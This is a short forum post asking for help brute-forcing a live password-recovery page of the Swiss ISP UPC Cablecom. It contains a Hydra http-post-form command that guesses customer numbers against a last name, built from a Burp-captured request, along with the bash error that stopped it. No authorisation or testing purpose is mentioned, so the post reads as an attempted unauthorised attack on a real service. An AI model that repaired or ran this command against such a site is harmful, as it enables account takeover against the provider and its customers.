Hello guys

Is this page  vulnerable for brute force atack?: https://reg.upc-cablecom.ch/register-webapp/register.portal?_nfpb=true&_windowLabel=login_content&login_content_actionOverride=%2Fportlets%2Flogin%2FbeginRegistrationStep1&login_contentbegin_reg_type=forgetemailpwd&csp_lang=en

Im a noob, and i try quite a while to bruteforce it with kalis hydra. But  in vain.
here is my code:
   hydra -l Test -P /root/upc reg.upc-cablecom.ch http-post-form "/register-webapp/register.portal;JSESSIONID_SCP=Lw0HJFJGJLGJL12TScqDvJMhQdbnbdGW3w7Vrt6KRgSvmxQ5zZNh!518791670?_nfpb=true&_windowLabel=login_content&login_content_actionOverride=%2Fportlets%2Flogin%2FvalidateCustomer.php:login_content{actionForm.lastname}=^USER^&login_content{actionForm.customerNumber}=^PASS^:ungültige Kundennummer"

and here the eroor: bash: !518791670: event not found

I used burpsuite to capture and used also html page for any other informations

please help